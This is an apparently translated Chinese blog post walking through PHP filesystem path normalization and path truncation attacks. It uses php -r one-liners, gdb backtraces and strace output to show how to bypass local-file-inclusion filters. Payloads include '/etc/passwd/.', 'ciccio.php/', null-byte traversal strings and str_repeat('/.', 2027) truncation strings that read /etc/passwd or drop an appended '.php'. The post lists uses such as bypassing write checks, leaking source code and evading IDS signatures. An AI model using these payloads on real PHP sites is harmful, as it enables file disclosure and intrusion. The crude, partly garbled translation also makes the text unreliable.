php文件系统攻击向导

 

一.php文件系统路径正常化攻击

在路径中使用/和/.会使/etc/passwd/或者/etc/passwd/.作为一个文件被打开.

二.php文件系统过程路径截断攻击

PHP有一个路径截断的问题(一个非常邪恶的手段snprintf())只允许使用MAX_PATH被作为打开文件或者目录的鉴定.

三.php文件系统过程路径正常化攻击例子

$ php -r ‘include(”/etc/passwd”);’ | head -n1

root:x:0:0:root:/root:/bin/bash

一会我们应该知道某个路径正常化为标准

$ cat /etc//passwd | head -n1

root:x:0:0:root:/root:/bin/bash

$ cat /etc/./passwd | head -n1

root:x:0:0:root:/root:/bin/bash

对于下面的事应该很好预料了

php -r ‘include(”/etc/passwd/”);’

你会发现这个文件会正常的被包含进来了(它工作再每一个使用_php_stream_fopen()的单一文件系统过程上)

一些装逼的话说自己如何发现的操!不说正常的事呢光J8说闲玩

php -r ‘include(”/etc/passwd/.”);’ //成功执行

cat /etc/passwd/.

cat: /etc/passwd/.: Not a directory

$ cat /etc/passwd/

cat: /etc/passwd/: Not a directory

都执行失败了

php -r ‘include(”/etc/passwd//////”);’

php -r ‘include(”/etc/passwd/./././././.”);’

ereg*()函数能被空字节漏洞所利用.preg_*和字符函数例如substr是安全的

php -r ‘if($argv[1]!=”/etc/passwd”)include($argv[1]);’ ‘/etc/passwd’ |head -n1

不能工作

$ php -r ‘if($argv[1]!=”/etc/passwd”)include($argv[1]);’ ‘/etc//passwd’ | head -n1

root:x:0:0:root:/root:/bin/bash

工作了

$php -r ‘if($argv[1]!=”/etc/passwd”)include($argv[1]);’ ‘/etc///passwd’ | head -n1

又工作了

$php -r ‘if($argv[1]!=”/etc/passwd”)include($argv[1]);’ ‘/etc/./passwd’ | head -n1

root:x:0:0:root:/root:/bin/bash

不会把又行了?

-nologin-3.00# php -r ‘if($argv[1]!=”/etc/passwd”)include($argv[1]);’ ‘/etc/././././././passwd’ | head -n1

root:x:0:0:root:/root:/bin/bash

能不能不行啊

-nologin-3.00# php -r ‘if($argv[1]!=”/etc/passwd”)include($argv[1]);’ ‘/etc/././././././passwd/.’ | head -n1

root:x:0:0:root:/root:/bin/bash

我日我要不行了

在php上路径正规化允许你执行上面的例子但是linux的系统命令cat却不能

-nologin-3.00# cat /etc/././././././passwd/.

cat: /etc/././././././passwd/.: Not a directory

解释这些需要更好的例子.

php -r ‘if(substr($argv[1], -6, 6)!=”passwd”)include($argv[1]);’ ‘/etc/passwd’ | head -n1

没工作

php -r ‘if(substr($argv[1], -6, 6)!=”passwd”)include($argv[1]);’ ‘/etc//passwd’ | head -n1

同样不能工作因为他还是以passwd作为结尾

php -r ‘if(substr($argv[1], -6, 6)!=”passwd”)include($argv[1]);’ ‘/etc/./passwd’ | head -n1

同样不能工作因为他还是以passwd作为结尾

上面的检测结果说明我们是不能直接绕过的

php -r ‘if(substr($argv[1], -6, 6)!=”passwd”)include($argv[1]);’ ‘/etc/passwd/.’ | head -n1

但是这个例子就成功了,

现在这个路径正常化攻击的用处就显现出来了,特别对于php来说,下面就开始讲有形的例子了,

(一个在线文件编辑脚本)

php -r ‘if(substr($argv[1], -4, 4)!=”.php”)echo($argv[1]).”\n”;’ ‘ciccio.txt’

肯定不能工作的.

php -r ‘if(substr($argv[1], -4, 4)!=”.php”)echo($argv[1]).”\n”;’ ‘ciccio.php/’

ciccio.php/

哇靠成功了,

php -r ‘if(substr($argv[1], -4, 4)!=”.php”)echo($argv[1]).”\n”;’ ‘ciccio.php/.’

也成功了

他们可以被应用到

1.写过程绕过(文件编辑器,文件书写器等等)

2.读函数的绕过(源代码泄露)

3.IDS/IPS的签名绕过

同时还有另外一个文件上传的漏洞特性例如上传.php.xyz文件,感谢apache的mod_mime 映射特性哈哈)

http://milw0rm.com/exploits/8060

看这里

四:php文件系统路径普通化攻击描述

分析源代码发现漏洞

$ gdb /usr/bin/php

(gdb) break open

Function “open” not defined.

Make breakpoint pending on future shared library load? (y or [n]) y

Breakpoint 1 (open) pending.

(gdb) r -r ‘@include(”/etc/passwd/.”);’

Starting program: /usr/bin/php -r ‘@include(”/etc/passwd/.”);’

[..]

[Switching to Thread 0xb7f2e6c0 (LWP 7264)]

Breakpoint 1, 0×41606820 in open () from /lib/libpthread.so.0

(gdb) bt

#0   0×41606820 in open () from /lib/libpthread.so.0

#1   0×082142c7 in _php_stream_fopen ()

#2   0xbff4c8cc in ?? ()

#3   0×09d20050 in ?? ()

#4   0×0000003b in ?? ()

#5   0×085e2504 in php_stream_stdio_ops ()

#6   0×00000000 in ?? ()

_php_stream_fopen(),被定义在main/plain_wrapper.c,它是一个非常好的函数去开始分析代码,里面包含了下面有趣的东西

streams/plain_wrapper.c-893: if ((realpath = expand_filepath(filename, NULL TSRMLS_CC)) == NULL) {

expand_filepath()函数被定义在main/fopen_wrappers.c,最终执行expand_filepath_ex同样被定义在main/fopen_wrappers.c中

这个函数包含了snprintf,snprintf引发了路径被截断.

main/fopen_wrappers.c-656: if (virtual_file_ex(&new_state, filepath, NULL, CWD_FILEPATH)) {

main/fopen_wrappers.c-657: free(new_state.cwd);

main/fopen_wrappers.c-658: return NULL;

main/fopen_wrappers.c-659: }

哈哈virtual_file_ex() 是一个有缺陷的函数,这个函数被定义在SRM/tsrm_virtual_cwd.c的482行

让我们看一下错误是什么

TSRM/tsrm_virtual_cwd.c-619: tok=NULL;

TSRM/tsrm_virtual_cwd.c-620: ptr = tsrm_strtok_r(path_copy, TOKENIZER_STRING, &tok);

TSRM/tsrm_virtual_cwd.c-621: while (ptr) {

TSRM/tsrm_virtual_cwd.c-622:   ptr_length = strlen(ptr);

[..]

TSRM/tsrm_virtual_cwd.c-624:   if (IS_DIRECTORY_UP(ptr, ptr_length)) {

[..]

TSRM/tsrm_virtual_cwd.c-651:   } else if (!IS_DIRECTORY_CURRENT(ptr, ptr_length)) {

[..]

TSRM/tsrm_virtual_cwd.c-717:   }

TSRM/tsrm_virtual_cwd.c-718:   ptr = tsrm_strtok_r(NULL, TOKENIZER_STRING, &tok);

TSRM/tsrm_virtual_cwd.c-719: }

TOKENIZER_STRING, IS_DIRECTORY_UP and IS_DIRECTORY_CURRENT被定义在其他的源代码中

grep “#define TOKENIZER” */* -n

TSRM/tsrm_virtual_cwd.c-82:#define TOKENIZER_STRING “/\\”

TSRM/tsrm_virtual_cwd.c-103:#define TOKENIZER_STRING “/\\”

TSRM/tsrm_virtual_cwd.c-106:#define TOKENIZER_STRING “/”

windows的是在82行定义的,103行是netware的,106是为其他所有系统的

IS_DIRECTORY_UP and IS_DIRECTORY_CURRENT 被定义在下面

$ grep -P “#define (IS_DIRECTORY_UP *\(|IS_DIRECTORY_CURRENT *\()” */*

-n -C2 | head -6

TSRM/tsrm_virtual_cwd.c-91:#define IS_DIRECTORY_UP(element, len) \

TSRM/tsrm_virtual_cwd.c-92:     (len >= 2 && !php_check_dots(element, len))

[..]

TSRM/tsrm_virtual_cwd.c-94:#define IS_DIRECTORY_CURRENT(element, len) \

TSRM/tsrm_virtual_cwd.c-95:     (len == 1 && element[0] == ‘.’)

然后这个代码是非常容易去理解的,这里有正常化攻击的错误的原因

if/else-if 结构没有思考一个两个实例的失败同时tsrm_strtok_r() 将会用每一个”/”切割路径

不J8写漏洞分析了太麻烦了,看实例吧.

五.PHP文件系统功能路径截断攻击

这个有什么用呢仔细思考下面这个简单的代码

<?php

// I’m a classic LFI (Local File Inclusion) vulnerabiltiy!

include(”includes/”.$_GET['library'].”.php”);

?>

这里只能是一个本地文件包含漏洞,RFI是不能被执行的(RFI漏洞的成功需要php.ini中的”allow_url_fopen” and “allow_url_include” on “On)

一般的这个可以被利用.例如包含攻击者配置的.php文件(它需要有上传和控制目标文件的能力,包括它的文件名)

例如

?library=../../../home/www.uploadsite_on_shared_hosting.tld/www/static/attack

这个不是一般的环境,特别的是利用LFI2RCE攻击例如下面这篇文章

http://milw0rm.com/papers/260

?library=../../../var/log/something.log%00

include(”includes/”.urldecode(”../../../var/log/something.log%00″).”.php”);

等同于include(”includes/../../../var/log/something.log”);

这个普通的问题在magic_quotes过滤掉了nullbytes使用addslashes()含蓄中了了所有的GPC和SERVER输入里面.

$ php -r ‘echo addslashes(chr(0));’

\0

$php -r ‘echo (”includes/”.addslashes(urldecode(”../../../var/log/something.log%00″)).”.php”);’ includes/../../../var/log/something.log\0.php

# grep “snprintf(trypath, MAXPATHLEN, \”%s/%s\”, ptr, filename);” * -R

main/streams/plain_wrapper.c: snprintf(trypath, MAXPATHLEN, “%s/%s”, ptr, filename);

main/fopen_wrappers.c:        snprintf(trypath, MAXPATHLEN, “%s/%s”, ptr, filename);

/main/php.h:

#ifndef MAXPATHLEN

# ifdef PATH_MAX

# define MAXPATHLEN PATH_MAX

# elif defined(MAX_PATH)

# define MAXPATHLEN MAX_PATH

# else

# define MAXPATHLEN 256

# endif

#endif

/win32/param.h

#ifndef MAXPATHLEN

# define MAXPATHLEN _MAX_PATH

#endif

在大多数系统上它是4k

strace -e open php -r ‘include(”includes/”.addslashes(urldecode(”../../../tmp/something”.str_repeat(”foo_”, 1200))).”/append.php”);’ open(”/usr/tmp/somethingfoo_foo_foo_foo_foo_foo_[OMIT]foo_foo_f”, O_RDONLY) = -1 ENAMETOOLONG (File name too long)

将会产生ENAMETOOLONG的错误但是这个glibc限制能用目录来掩盖.

strace -e open -s 100000 php -r ‘include(”includes/”.addslashes(urldecode(”../../../tmp/something”.str_repeat(”foo/”, 1200))).”/append.php”);’ open(”/usr/tmp/somethingfoo/foo/foo/foo/foo/foo/[OMIT]foo/foo/f”, O_RDONLY) = -1 ENOENT (No such file or directory)

这里有个路径常态化向导帮忙同时能结合路径截断问题去完成一个伟大的目标

(在magic_quotes_gpc开启的系统上的nullbyte)

$ strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”//”, 2027).”append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest/ap”, O_RDONLY)       = -1 ENOTDIR (Not a directory) open(”/tmp/teest/app”, O_RDONLY)        = -1 ENOTDIR (Not a directory)

$ strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”//”, 2027).”/append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest/a”, O_RDONLY)       = -1 ENOTDIR (Not a directory) open(”/tmp/teest/ap”, O_RDONLY)       = -1 ENOTDIR (Not a directory)

$ strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”//”, 2027).”//append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest/”, O_RDONLY)           = -1 ENOTDIR (Not a directory) open(”/tmp/teest/a”, O_RDONLY)       = -1 ENOTDIR (Not a directory)

$ strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”//”, 2027).”///append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest/”, O_RDONLY)           = -1 ENOTDIR (Not a directory) open(”/tmp/teest/”, O_RDONLY)           = -1 ENOTDIR (Not a directory)

$ strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”//”, 2027).”////append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest/”, O_RDONLY)           = -1 ENOTDIR (Not a directory) open(”/tmp/teest/”, O_RDONLY)           = -1 ENOTDIR (Not a directory)

我们下面用/.代替

strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”/.”, 2027).”append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest/.ap”, O_RDONLY)        = -1 ENOTDIR (Not a directory) open(”/tmp/teest/.app”, O_RDONLY)    = -1 ENOTDIR (Not a directory)

strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”/.”, 2027).”/append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest/a”, O_RDONLY)       = -1 ENOTDIR (Not a directory) open(”/tmp/teest/ap”, O_RDONLY)       = -1 ENOTDIR (Not a directory)

strace -e open php -r ‘include(”a/../../../../tmp/teest”.str_repeat(”/.”, 2027).”/.append.inc”);’ 2>&1 | grep “^open(\”/tmp” open(”/tmp/teest”, O_RDONLY)          = 3

hoho成功了,

六:PHP文件系统功能路径截断攻击描述

下面看一下路径包含

大多数的操作系统都有不同的设置

(on Gentoo)

include_path = “.:/usr/share/php5:/usr/share/php”

strace php -r ‘include(”a/../../../../etc/passwd”.str_repeat(”/.”, 2027).”/.append.inc”);’ 1>/dev/null

我们现在去证明,这个攻击只可能感谢include_path的特性和专门的手段能触发它

strace php -r ‘include(”etc/passwd/.”);’ 1>/dev/null

相对查询cwd,例如打开/home/antani/etc/passwd

strace php -r ‘include(”etc/passwd”.str_repeat(”/.”, 2067).”/.append.inc”);’ 1>/dev/null

不是绝对路径查询,

strace php -r ‘include(”../../../etc/passwd”.str_repeat(”/.”, 2067).”/.append.inc”);’ 1>/dev/null

完全失败

strace php -r ‘include(”a/../../../etc/passwd”.str_repeat(”/.”, 2067).”/.append.inc”);’ 1>/dev/null

不存在绝对路径a在include_path路径中

(unexisting relative directory “a” in include_path paths, but ends

opening /usr/etc/passwd cause it doesn’t traverse enought)

getcwd(”/home/antani”…, 4096)       = 13

time(NULL)                            = 1232728270

lstat64(”/usr”, {st_mode=S_IFDIR|0755, st_size=560, …}) = 0

lstat64(”/usr/share”, {st_mode=S_IFDIR|0755, st_size=9984, …}) = 0

lstat64(”/usr/share/php5″, {st_mode=S_IFDIR|0755, st_size=88, …}) = 0

lstat64(”/usr/share/php5/a”, 0×5a9460cc) = -1 ENOENT (No such file or

directory)

open(”/usr/share/etc/passwd/”, O_RDONLY) = -1 ENOENT (No such file or

directory)

  • 邪恶的空格-PHP本地文件包含漏洞的新突破口! (0)
  • 基于Postfix+sasl+courier-imap+courier-authlib+clamav+slockd+amavisd邮件系统配置安装笔记(一) (3)
  • 关于php的magic_quotes_gpc (2)
  • 入侵检测系统IDS(FreeBSD:Snort) (0)
  • 什么是运维工程师? (3)
  • Leave a Reply